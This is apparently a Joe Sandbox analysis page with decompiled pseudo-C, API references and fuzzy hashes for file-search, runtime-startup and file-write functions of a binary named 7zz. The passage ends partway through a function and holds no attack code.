Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: H_prolog$ApisCommandDispatcherExceptionFileLineUser
String ID: CRC Error$Decoding Error$Error:$ : $ file$----------------$59@$Archive Errors: $Archives: $CRC$CRC: $Codecs:$Compressed: $Error: $Errors: $Files: $Folders: $Formats:$Size: $Sub items Errors: $WARNING: Cannot find $WARNING: Cannot open $WARNINGS for files:
API String ID: 2129983490-3134536549
Opcode ID: f1d897542e9f6f53200bf26d4a9aa782134cf58ca4f4eb37985ed7d2274fcdd6
Instruction ID: 0e9785898952d904cddb7e6f0fb348193d980c7c6074724112ac217821b8bdc4
Opcode Fuzzy Hash: f1d897542e9f6f53200bf26d4a9aa782134cf58ca4f4eb37985ed7d2274fcdd6
Instruction Fuzzy Hash: F0A28D70E042199ADF14EBA5C855BEEBBB4AF54308F1044BFE105B72C2DB785E84CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B174 Relevance: 7.6, APIs: 5, Instructions: 88
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E0040B174(void** __ecx, void* __edi, void* __eflags) {
				signed int _t34;
				signed int _t36;
				void* _t47;
				void* _t53;
				void** _t77;
				void* _t79;
				intOrPtr _t86;

				L0046B890(0x473d64, _t79);
				_t77 = __ecx;
				_t34 = E0040B154(__ecx);
				if(_t34 == 0) {
					L11:
					 *[fs:0x0] =  *((intOrPtr*)(_t79 - 0xc));
					return _t34;
				}
				_t86 =  *0x490a7c; // 0x1
				if(_t86 == 0) {
					L00403532(_t79 - 0x24,  *(_t79 + 8));
					 *(_t79 - 4) = 1;
					_t36 = AreFileApisANSI();
					asm("sbb eax, eax");
					_push( ~_t36 + 1);
					 *_t77 = FindFirstFileA( *(E0040822F(_t79 - 0x30)), _t79 - 0x170);
					L00407A18( *((intOrPtr*)(_t79 - 0x30)));
					 *(_t79 - 4) =  *(_t79 - 4) | 0xffffffff;
					L00407A18( *((intOrPtr*)(_t79 - 0x24)));
					__eflags =  *_t77 - 0xffffffff;
					if(__eflags != 0) {
						L0040B2EA(_t79 - 0x170,  *((intOrPtr*)(_t79 + 0xc)), __eflags);
					}
					L10:
					_t34 = 0 |  *_t77 != 0xffffffff;
					goto L11;
				}
				_t47 = FindFirstFileW( *(_t79 + 8), _t79 - 0x3c0); // executed
				 *_t77 = _t47;
				if(_t47 != 0xffffffff) {
					L6:
					_t90 =  *_t77 - 0xffffffff;
					if( *_t77 != 0xffffffff) {
						L0040B28B(_t79 - 0x3c0,  *((intOrPtr*)(_t79 + 0xc)), _t90);
					}
					goto L10;
				}
				 *(_t79 - 0x18) = 0;
				 *((intOrPtr*)(_t79 - 0x14)) = 0;
				 *((intOrPtr*)(_t79 - 0x10)) = 0;
				E00401E9A(_t79 - 0x18, 3);
				 *(_t79 - 4) = 0;
				if(L0040B863(_t79 - 0x18) != 0) {
					_t53 = FindFirstFileW( *(_t79 - 0x18), _t79 - 0x3c0); // executed
					 *_t77 = _t53;
				}
				 *(_t79 - 4) =  *(_t79 - 4) | 0xffffffff;
				L00407A18( *(_t79 - 0x18));
				goto L6;
			}

0x0040b179
0x0040b185
0x0040b187
0x0040b18e
0x0040b27c
0x0040b280
0x0040b288
0x0040b288
0x0040b197
0x0040b19d
0x0040b215
0x0040b21a
0x0040b221
0x0040b229
0x0040b232
0x0040b24b
0x0040b24d
0x0040b255
0x0040b259
0x0040b25e
0x0040b263
0x0040b26e
0x0040b26e
0x0040b273
0x0040b279
0x00000000
0x0040b279
0x0040b1b0
0x0040b1b5
0x0040b1b7
0x0040b1f9
0x0040b1f9
0x0040b1fd
0x0040b208
0x0040b208
0x00000000
0x0040b1fd
0x0040b1be
0x0040b1c1
0x0040b1c4
0x0040b1c7
0x0040b1d2
0x0040b1dc
0x0040b1e8
0x0040b1ea
0x0040b1ea
0x0040b1ef
0x0040b1f3
0x00000000

APIs

__EH_prolog.LIBCMT ref: 0040B179

Part of subcall function 0040B154: FindClose.KERNEL32(00000000,?,0040B18C), ref: 0040B15F

FindFirstFileW.KERNELBASE(000000FF,?,?), ref: 0040B1B0
FindFirstFileW.KERNELBASE(00000002,?,00000003), ref: 0040B1E8
AreFileApisANSI.KERNEL32(000000FF), ref: 0040B221
FindFirstFileA.KERNEL32(?,?,00000001), ref: 0040B242

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: FileFind$First$ApisCloseH_prolog
String ID:
API String ID: 4121580741-0
Opcode ID: d3209179485d2956c5e4d69de9ffb02c1c5f3dcedd3250a6e954bbfd267ad7e9
Instruction ID: fbd6ce0b626e89321ef8dbff40679b25df86b8bcd2a774ab2a160b2ca2317645
Opcode Fuzzy Hash: d3209179485d2956c5e4d69de9ffb02c1c5f3dcedd3250a6e954bbfd267ad7e9
Instruction Fuzzy Hash: F0316B3180020ADBCB15EFA4D8459EDBB78FF04324F20466EE461B72E1DB395A85CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0046CF4C Relevance: 3.1, APIs: 2, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			_entry_(void* __ebx, void* __edi, void* __esi) {
				signed int _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				unsigned int _t8;
				intOrPtr _t18;
				intOrPtr _t19;
				signed int _t25;
				intOrPtr _t41;

				_t37 = __edi;
				_push(0xffffffff);
				_push(0x47c8a0);
				_push(E0046CE74);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t41;
				_push(__edi);
				_v28 = _t41 - 0x10;
				_t8 = GetVersion();
				 *0x4936fc = 0;
				_t25 = _t8 & 0x000000ff;
				 *0x4936f8 = _t25;
				 *0x4936f4 = _t25 << 8;
				 *0x4936f0 = _t8 >> 0x10;
				if(E0046EA66(_t25 << 8, 1) == 0) {
					E0046D061(0x1c);
				}
				if(E0046E31C() == 0) {
					E0046D061(0x10);
				}
				_v8 = _v8 & 0x00000000;
				E0046FCD7(); // executed
				 *0x49659c = GetCommandLineA();
				 *0x493670 = E00470AD6();
				E00470889();
				E004707D0();
				E0046E6C8();
				_t18 =  *0x49370c; // 0x22112d0
				 *0x493710 = _t18;
				_push(_t18);
				_push( *0x493704);
				_push( *0x493700); // executed
				_t19 = E00405C72(_v8); // executed
				_v32 = _t19;
				E0046E6F5(_t19);
				_v36 =  *((intOrPtr*)( *_v24));
				return E00470658(_t37, _v8,  *((intOrPtr*)( *_v24)), _v24);
			}

0x0046cf4c
0x0046cf4f
0x0046cf51
0x0046cf56
0x0046cf61
0x0046cf62
0x0046cf6e
0x0046cf6f
0x0046cf72
0x0046cf7c
0x0046cf84
0x0046cf8a
0x0046cf95
0x0046cf9e
0x0046cfad
0x0046cfb1
0x0046cfb6
0x0046cfbe
0x0046cfc2
0x0046cfc7
0x0046cfc8
0x0046cfcc
0x0046cfd7
0x0046cfe1
0x0046cfe6
0x0046cfeb
0x0046cff0
0x0046cff5
0x0046cffa
0x0046cfff
0x0046d000
0x0046d006
0x0046d00c
0x0046d014
0x0046d018
0x0046d024
0x0046d030

APIs

GetVersion.KERNEL32 ref: 0046CF72

Part of subcall function 0046EA66: HeapCreate.KERNELBASE(00000000,00001000,00000000,0046CFAA,00000001), ref: 0046EA77
Part of subcall function 0046EA66: HeapDestroy.KERNEL32 ref: 0046EAB6

GetCommandLineA.KERNEL32 ref: 0046CFD1

Part of subcall function 0046D061: ExitProcess.KERNEL32 ref: 0046D07E

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: Heap$CommandCreateDestroyExitLineProcessVersion
String ID:
API String ID: 1387771204-0
Opcode ID: fd750bc3cd7585849bbac3ab2b54539f5ca51bea4ec0c39904099df9b32006d9
Instruction ID: 870f0fd66317059e0ff95abc7fdc162525e316738eefe618a921cd101cb68cd4
Opcode Fuzzy Hash: fd750bc3cd7585849bbac3ab2b54539f5ca51bea4ec0c39904099df9b32006d9
Instruction Fuzzy Hash: EF2105F0940201AFE718BFA2DC42B7A7BA4EB26715F00413FF404A63A1EB3C49008B5E

Uniqueness

Uniqueness Score: -1.00%

Function 0046E6AA Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0046E6AA() {
				_Unknown_base(*)()* _t1;

				_t1 = SetUnhandledExceptionFilter(E0046E664); // executed
				 *0x4936e8 = _t1;
				return _t1;
			}

0x0046e6af
0x0046e6b5
0x0046e6ba

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_0006E664), ref: 0046E6AF

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: c7f1619ac543780bbf34eb8e95484e4113401968d6038d2ffaa388747d46fa77
Instruction ID: a5106b7f6ad9fc50672dff64106b0fe435b0594dc7b9e21cd679f57e89e9b924
Opcode Fuzzy Hash: c7f1619ac543780bbf34eb8e95484e4113401968d6038d2ffaa388747d46fa77
Instruction Fuzzy Hash: 56A012745013009A82105F10A8084083A50A260A037500036500040210D6700494490B

Uniqueness

Uniqueness Score: -1.00%

Function 0046FCD7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 150
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 99%

			E0046FCD7() {
				void** _v8;
				struct _STARTUPINFOA _v76;
				signed int* _t48;
				signed int _t50;
				long _t55;
				signed int _t57;
				signed int _t58;
				int _t59;
				signed char _t63;
				signed int _t65;
				void** _t67;
				int _t68;
				int _t69;
				signed int* _t70;
				int _t72;
				intOrPtr* _t73;
				signed int* _t75;
				void* _t76;
				void* _t84;
				void* _t87;
				int _t88;
				signed int* _t89;
				void** _t90;
				signed int _t91;
				int* _t92;

				_t89 = L0046BFC5(0x480);
				if(_t89 == 0) {
					E0046D03C(0x1b);
				}
				 *0x496460 = _t89;
				 *0x496560 = 0x20;
				_t1 =  &(_t89[0x120]); // 0x480
				_t48 = _t1;
				while(_t89 < _t48) {
					_t89[1] = _t89[1] & 0x00000000;
					 *_t89 =  *_t89 | 0xffffffff;
					_t89[2] = _t89[2] & 0x00000000;
					_t89[1] = 0xa;
					_t70 =  *0x496460; // 0x2210630
					_t89 =  &(_t89[9]);
					_t48 =  &(_t70[0x120]);
				}
				GetStartupInfoA( &_v76);
				__eflags = _v76.cbReserved2;
				if(_v76.cbReserved2 == 0) {
					L25:
					_t72 = 0;
					__eflags = 0;
					do {
						_t75 =  *0x496460; // 0x2210630
						_t50 = _t72 + _t72 * 8;
						__eflags = _t75[_t50] - 0xffffffff;
						_t90 =  &(_t75[_t50]);
						if(_t75[_t50] != 0xffffffff) {
							_t45 =  &(_t90[1]);
							 *_t45 = _t90[1] | 0x00000080;
							__eflags =  *_t45;
							goto L37;
						}
						__eflags = _t72;
						_t90[1] = 0x81;
						if(_t72 != 0) {
							asm("sbb eax, eax");
							_t55 =  ~(_t72 - 1) + 0xfffffff5;
							__eflags = _t55;
						} else {
							_t55 = 0xfffffff6;
						}
						_t87 = GetStdHandle(_t55);
						__eflags = _t87 - 0xffffffff;
						if(_t87 == 0xffffffff) {
							L33:
							_t90[1] = _t90[1] | 0x00000040;
						} else {
							_t57 = GetFileType(_t87); // executed
							__eflags = _t57;
							if(_t57 == 0) {
								goto L33;
							}
							_t58 = _t57 & 0x000000ff;
							 *_t90 = _t87;
							__eflags = _t58 - 2;
							if(_t58 != 2) {
								__eflags = _t58 - 3;
								if(_t58 == 3) {
									_t90[1] = _t90[1] | 0x00000008;
								}
								goto L37;
							}
							goto L33;
						}
						L37:
						_t72 = _t72 + 1;
						__eflags = _t72 - 3;
					} while (_t72 < 3);
					return SetHandleCount( *0x496560);
				}
				_t59 = _v76.lpReserved2;
				__eflags = _t59;
				if(_t59 == 0) {
					goto L25;
				}
				_t88 =  *_t59;
				_t73 = _t59 + 4;
				_v8 = _t73 + _t88;
				__eflags = _t88 - 0x800;
				if(_t88 >= 0x800) {
					_t88 = 0x800;
				}
				__eflags =  *0x496560 - _t88; // 0x20
				if(__eflags >= 0) {
					L18:
					_t91 = 0;
					__eflags = _t88;
					if(_t88 <= 0) {
						goto L25;
					} else {
						goto L19;
					}
					do {
						L19:
						_t76 =  *_v8;
						__eflags = _t76 - 0xffffffff;
						if(_t76 == 0xffffffff) {
							goto L24;
						}
						_t63 =  *_t73;
						__eflags = _t63 & 0x00000001;
						if((_t63 & 0x00000001) == 0) {
							goto L24;
						}
						__eflags = _t63 & 0x00000008;
						if((_t63 & 0x00000008) != 0) {
							L23:
							_t65 = _t91 & 0x0000001f;
							__eflags = _t65;
							_t67 =  &(0x496460[_t91 >> 5][_t65 + _t65 * 8]);
							 *_t67 =  *_v8;
							_t67[1] =  *_t73;
							goto L24;
						}
						_t68 = GetFileType(_t76);
						__eflags = _t68;
						if(_t68 == 0) {
							goto L24;
						}
						goto L23;
						L24:
						_v8 =  &(_v8[1]);
						_t91 = _t91 + 1;
						_t73 = _t73 + 1;
						__eflags = _t91 - _t88;
					} while (_t91 < _t88);
					goto L25;
				} else {
					_t92 = 0x496464;
					while(1) {
						_t69 = L0046BFC5(0x480);
						__eflags = _t69;
						if(_t69 == 0) {
							break;
						}
						 *0x496560 =  *0x496560 + 0x20;
						__eflags =  *0x496560;
						 *_t92 = _t69;
						_t13 = _t69 + 0x480; // 0x480
						_t84 = _t13;
						while(1) {
							__eflags = _t69 - _t84;
							if(_t69 >= _t84) {
								break;
							}
							 *(_t69 + 4) =  *(_t69 + 4) & 0x00000000;
							 *_t69 =  *_t69 | 0xffffffff;
							 *(_t69 + 8) =  *(_t69 + 8) & 0x00000000;
							 *((char*)(_t69 + 5)) = 0xa;
							_t69 = _t69 + 0x24;
							_t84 =  *_t92 + 0x480;
						}
						_t92 =  &(_t92[1]);
						__eflags =  *0x496560 - _t88; // 0x20
						if(__eflags < 0) {
							continue;
						}
						goto L18;
					}
					_t88 =  *0x496560; // 0x20
					goto L18;
				}
			}

0x0046fcea
0x0046fcef
0x0046fcf3
0x0046fcf8
0x0046fcf9
0x0046fcff
0x0046fd09
0x0046fd09
0x0046fd0f
0x0046fd13
0x0046fd17
0x0046fd1a
0x0046fd1e
0x0046fd22
0x0046fd27
0x0046fd2a
0x0046fd2a
0x0046fd35
0x0046fd3b
0x0046fd40
0x0046fe17
0x0046fe17
0x0046fe17
0x0046fe19
0x0046fe19
0x0046fe1f
0x0046fe22
0x0046fe26
0x0046fe29
0x0046fe78
0x0046fe78
0x0046fe78
0x00000000
0x0046fe78
0x0046fe2b
0x0046fe2d
0x0046fe31
0x0046fe3d
0x0046fe3f
0x0046fe3f
0x0046fe33
0x0046fe35
0x0046fe35
0x0046fe49
0x0046fe4b
0x0046fe4e
0x0046fe67
0x0046fe67
0x0046fe50
0x0046fe51
0x0046fe57
0x0046fe59
0x00000000
0x00000000
0x0046fe5b
0x0046fe60
0x0046fe62
0x0046fe65
0x0046fe6d
0x0046fe70
0x0046fe72
0x0046fe72
0x00000000
0x0046fe70
0x00000000
0x0046fe65
0x0046fe7c
0x0046fe7c
0x0046fe7d
0x0046fe7d
0x0046fe92
0x0046fe92
0x0046fd46
0x0046fd49
0x0046fd4b
0x00000000
0x00000000
0x0046fd51
0x0046fd53
0x0046fd59
0x0046fd61
0x0046fd63
0x0046fd65
0x0046fd65
0x0046fd67
0x0046fd6d
0x0046fdc5
0x0046fdc5
0x0046fdc7
0x0046fdc9
0x00000000
0x00000000
0x00000000
0x00000000
0x0046fdcb
0x0046fdcb
0x0046fdce
0x0046fdd0
0x0046fdd3
0x00000000
0x00000000
0x0046fdd5
0x0046fdd7
0x0046fdd9
0x00000000
0x00000000
0x0046fddb
0x0046fddd
0x0046fdea
0x0046fdf1
0x0046fdf1
0x0046fdfe
0x0046fe06
0x0046fe0a
0x00000000
0x0046fe0a
0x0046fde0
0x0046fde6
0x0046fde8
0x00000000
0x00000000
0x00000000
0x0046fe0d
0x0046fe0d
0x0046fe11
0x0046fe12
0x0046fe13
0x0046fe13
0x00000000
0x0046fd6f
0x0046fd6f
0x0046fd74
0x0046fd79
0x0046fd7e
0x0046fd81
0x00000000
0x00000000
0x0046fd83
0x0046fd83
0x0046fd8a
0x0046fd8c
0x0046fd8c
0x0046fd92
0x0046fd92
0x0046fd94
0x00000000
0x00000000
0x0046fd96
0x0046fd9a
0x0046fd9d
0x0046fda1
0x0046fda7
0x0046fdaa
0x0046fdaa
0x0046fdb2
0x0046fdb5
0x0046fdbb
0x00000000
0x00000000
0x00000000
0x0046fdbd
0x0046fdbf
0x00000000
0x0046fdbf

APIs

GetStartupInfoA.KERNEL32(?), ref: 0046FD35
GetFileType.KERNEL32(00000480), ref: 0046FDE0
GetStdHandle.KERNEL32(-000000F6), ref: 0046FE43
GetFileType.KERNELBASE(00000000), ref: 0046FE51
SetHandleCount.KERNEL32 ref: 0046FE88

Strings

ddI, xrefs: 0046FD6F

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: FileHandleType$CountInfoStartup
String ID: ddI
API String ID: 1710529072-3188649337
Opcode ID: 1896333707a73830e72ce406a203d9127db2bfa533a9f37e38ad935da20a16a3
Instruction ID: c6205cd4f5c3ada4982f3df846bf7a0052440ebcd376ac522a15a622ffbc9688
Opcode Fuzzy Hash: 1896333707a73830e72ce406a203d9127db2bfa533a9f37e38ad935da20a16a3
Instruction Fuzzy Hash: B95118715002058BC720CF68E9447667BA0EB21768F25467FC5D2CB2E2FB39984ACB4B

Uniqueness

Uniqueness Score: -1.00%

Function 00470330 Relevance: 6.1, APIs: 4, Instructions: 135
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00470330(long _a4, void* _a8, long _a12) {
				intOrPtr* _v8;
				long _v12;
				long _v16;
				signed int _v20;
				void _v1048;
				void** _t66;
				signed int _t67;
				intOrPtr _t69;
				signed int _t70;
				intOrPtr _t71;
				signed int _t73;
				signed int _t80;
				int _t85;
				long _t87;
				intOrPtr* _t91;
				intOrPtr _t97;
				struct _OVERLAPPED* _t101;
				long _t103;
				signed int _t105;
				struct _OVERLAPPED* _t106;

				_t101 = 0;
				_v12 = 0;
				_v20 = 0;
				if(_a12 != 0) {
					_t91 = 0x496460 + (_a4 >> 5) * 4;
					_t105 = (_a4 & 0x0000001f) + (_a4 & 0x0000001f) * 8 << 2;
					__eflags =  *( *_t91 + _t105 + 4) & 0x00000020;
					if(__eflags != 0) {
						E004716C1(__eflags, _a4, 0, 2);
					}
					_t66 =  *_t91 + _t105;
					__eflags = _t66[1] & 0x00000080;
					if((_t66[1] & 0x00000080) == 0) {
						_t67 = WriteFile( *_t66, _a8, _a12,  &_v16, _t101);
						__eflags = _t67;
						if(_t67 == 0) {
							_a4 = GetLastError();
						} else {
							_a4 = _t101;
							_v12 = _v16;
						}
						L15:
						_t69 = _v12;
						__eflags = _t69 - _t101;
						if(_t69 != _t101) {
							_t70 = _t69 - _v20;
							__eflags = _t70;
							return _t70;
						}
						__eflags = _a4 - _t101;
						if(_a4 == _t101) {
							L25:
							_t71 =  *_t91;
							__eflags =  *(_t71 + _t105 + 4) & 0x00000040;
							if(( *(_t71 + _t105 + 4) & 0x00000040) == 0) {
								L27:
								 *((intOrPtr*)(E00470646())) = 0x1c;
								_t73 = E0047064F();
								 *_t73 = _t101;
								L24:
								return _t73 | 0xffffffff;
							}
							__eflags =  *_a8 - 0x1a;
							if( *_a8 == 0x1a) {
								goto L1;
							}
							goto L27;
						}
						_t106 = 5;
						__eflags = _a4 - _t106;
						if(_a4 != _t106) {
							_t73 = E004705D3(_a4);
						} else {
							 *((intOrPtr*)(E00470646())) = 9;
							_t73 = E0047064F();
							 *_t73 = _t106;
						}
						goto L24;
					}
					__eflags = _a12 - _t101;
					_v8 = _a8;
					_a4 = _t101;
					if(_a12 <= _t101) {
						goto L25;
					} else {
						goto L6;
					}
					do {
						L6:
						_t80 =  &_v1048;
						do {
							__eflags = _v8 - _a8 - _a12;
							if(_v8 - _a8 >= _a12) {
								break;
							}
							_v8 = _v8 + 1;
							_t97 =  *_v8;
							__eflags = _t97 - 0xa;
							if(_t97 == 0xa) {
								_v20 = _v20 + 1;
								 *_t80 = 0xd;
								_t80 = _t80 + 1;
								__eflags = _t80;
							}
							 *_t80 = _t97;
							_t80 = _t80 + 1;
							__eflags = _t80 -  &_v1048 - 0x400;
						} while (_t80 -  &_v1048 < 0x400);
						_t103 = _t80 -  &_v1048;
						_t85 = WriteFile( *( *_t91 + _t105),  &_v1048, _t103,  &_v16, 0); // executed
						__eflags = _t85;
						if(_t85 == 0) {
							_a4 = GetLastError();
							break;
						}
						_t87 = _v16;
						_v12 = _v12 + _t87;
						__eflags = _t87 - _t103;
						if(_t87 < _t103) {
							break;
						}
						__eflags = _v8 - _a8 - _a12;
					} while (_v8 - _a8 < _a12);
					_t101 = 0;
					__eflags = 0;
					goto L15;
				}
				L1:
				return 0;
			}

0x0047033c
0x00470341
0x00470344
0x00470347
0x00470356
0x00470368
0x0047036b
0x00470370
0x00470378
0x0047037d
0x00470382
0x00470384
0x00470388
0x0047045c
0x00470462
0x00470464
0x00470477
0x00470466
0x00470469
0x0047046c
0x0047046c
0x00470418
0x00470418
0x0047041b
0x0047041d
0x004704b3
0x004704b3
0x00000000
0x004704b3
0x00470423
0x00470426
0x0047048a
0x0047048a
0x0047048c
0x00470491
0x0047049f
0x004704a4
0x004704aa
0x004704af
0x00470485
0x00000000
0x00470485
0x00470496
0x00470499
0x00000000
0x00000000
0x00000000
0x00470499
0x0047042a
0x0047042b
0x0047042e
0x0047047f
0x00470430
0x00470435
0x0047043b
0x00470440
0x00470440
0x00000000
0x0047042e
0x00470391
0x00470394
0x00470397
0x0047039a
0x00000000
0x00000000
0x00000000
0x00000000
0x004703a0
0x004703a0
0x004703a0
0x004703a6
0x004703ac
0x004703af
0x00000000
0x00000000
0x004703b4
0x004703b7
0x004703b9
0x004703bc
0x004703be
0x004703c1
0x004703c4
0x004703c4
0x004703c4
0x004703c5
0x004703c7
0x004703d2
0x004703d2
0x004703e2
0x004703f7
0x004703fd
0x004703ff
0x0047044a
0x00000000
0x0047044a
0x00470401
0x00470404
0x00470407
0x00470409
0x00000000
0x00000000
0x00470411
0x00470411
0x00470416
0x00470416
0x00000000
0x00470416
0x00470349
0x00000000

APIs

WriteFile.KERNELBASE(?,?,?,00000000,00000000,00000001,?,?), ref: 004703F7

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: bd8b15df62944b5eaea57f4cf8cadc52d8797af58dbada8c92088e6b14acbd15
Instruction ID: f9a8e47d18844c341b85913162919efea3dfe28df8f23c4564b581e76a5f4db2
Opcode Fuzzy Hash: bd8b15df62944b5eaea57f4cf8cadc52d8797af58dbada8c92088e6b14acbd15
Instruction Fuzzy Hash: AE518D71901218EFCB11CF68C984ADE7BB4EF81340F10C5AAE91D9B251D738DA50CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0041035D Relevance: 5.8, APIs: 1, Strings: 2, Instructions: 546
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E0041035D(void* __ecx) {
				void* __ebx;
				void* __edi;
				intOrPtr _t192;
				char* _t200;
				intOrPtr _t201;
				intOrPtr _t202;
				signed char _t206;
				char _t212;
				signed char _t216;
				char _t217;
				void* _t218;
				void* _t220;
				intOrPtr* _t225;
				void* _t228;
				void* _t230;
				signed char _t233;
				signed char _t234;
				signed int _t235;
				signed char _t243;
				char* _t247;
				signed int _t248;
				signed int _t249;
				char _t251;
				char* _t252;
				signed char _t253;
				char* _t258;
				signed char _t268;
				char* _t269;
				char* _t291;
				char _t319;
				void* _t331;
				intOrPtr _t357;
				signed int _t363;
				void* _t364;
				signed int _t365;
				char _t375;
				void* _t421;
				void* _t422;
				signed int _t441;
				signed int _t443;
				char* _t444;
				char* _t447;
				void* _t449;

				L0046B890(E00474174, _t449);
				_t331 = __ecx;
				_t192 =  *((intOrPtr*)(__ecx + 0x10));
				_t454 = _t192 - 1;
				 *((intOrPtr*)(_t449 - 0x24)) = _t192;
				if(_t192 < 1) {
					L0040FFF2();
				}
				_t447 =  *(_t449 + 8);
				if(E00410A4C( *((intOrPtr*)( *((intOrPtr*)(_t331 + 0x14)))),  &(_t447[0x20]), _t454) == 0) {
					L0040FFF2();
				}
